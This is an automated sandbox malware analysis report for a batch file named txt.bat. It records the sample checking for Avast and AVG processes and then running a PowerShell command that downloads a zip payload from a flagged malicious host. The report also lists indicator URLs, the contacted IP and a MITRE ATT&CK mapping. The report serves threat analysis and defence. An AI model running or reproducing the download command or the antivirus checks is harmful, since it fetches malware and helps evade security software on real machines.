Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb{! source: powershell.exe, 00000007.00000002.1581880283.000001D456C46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb^p[L source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000007.00000002.1562199392.000001D43CAD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbMKJM\ source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb. source: powershell.exe, 00000007.00000002.1580663987.000001D456AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb100 source: powershell.exe, 00000007.00000002.1580663987.000001D456A90000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00007FFB4AD200BD pushad ; iretd

7_2_00007FFB4AD200C1

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9135
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9135

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4423			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4846			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1032	Thread sleep count: 4423 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1032	Thread sleep count: 4846 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5284	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: find.exe, 00000006.00000002.1522066728.000001AE6E690000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
txt.bat	8%	ReversingLabs
txt.bat	11%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
kendychop.shop	18%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://kendychop.shop:9135/FTSP.zip	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/bab.zipF	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/FTSP.zip$b=J(	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/FTSP.zip-	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/bab.zip	100%	Avira URL Cloud	malware
http://kendychop.shop	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/FTSP.zipxb	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/FTSP.zip	19%	Virustotal		Browse
http://kendychop.shop:9135	100%	Avira URL Cloud	phishing
http://kendychop.shop:9135/FTSP.zipHOMEDRIVE=C:HOMEPATH=	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kendychop.shop	154.216.17.175	true	true	18%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kendychop.shop:9135/bab.zip	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1562931121.000001D4400D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E84F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/bab.zipF	powershell.exe, 00000007.00000002.1562684441.000001D43CBF0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/FTSP.zip	powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1580663987.000001D4569E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562783690.000001D43CC14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562684441.000001D43CBF3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1581880283.000001D456C46000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000007.00000002.1562931121.000001D43F412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/FTSP.zip-	powershell.exe, 00000007.00000002.1580663987.000001D4569E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1562931121.000001D4400D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E84F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/FTSP.zip$b=J(	powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/FTSP.zipxb	powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://kendychop.shop	powershell.exe, 00000007.00000002.1562931121.000001D43FDD2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.1562931121.000001D43E7E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135	powershell.exe, 00000007.00000002.1562931121.000001D43F412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FDD2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.1562931121.000001D43E7E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendychop.shop:9135/FTSP.zipHOMEDRIVE=C:HOMEPATH=	powershell.exe, 00000007.00000002.1562783690.000001D43CC16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562783690.000001D43CC14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562684441.000001D43CBF3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1580663987.000001D456A90000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
154.216.17.175	kendychop.shop	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554980
Start date and time:	2024-11-13 09:41:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	txt.bat
Detection:	MAL
Classification:	mal88.troj.winBAT@12/3@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com
Execution Graph export aborted for target powershell.exe, PID 6404 because it is empty
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
03:42:22	API Interceptor	20x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
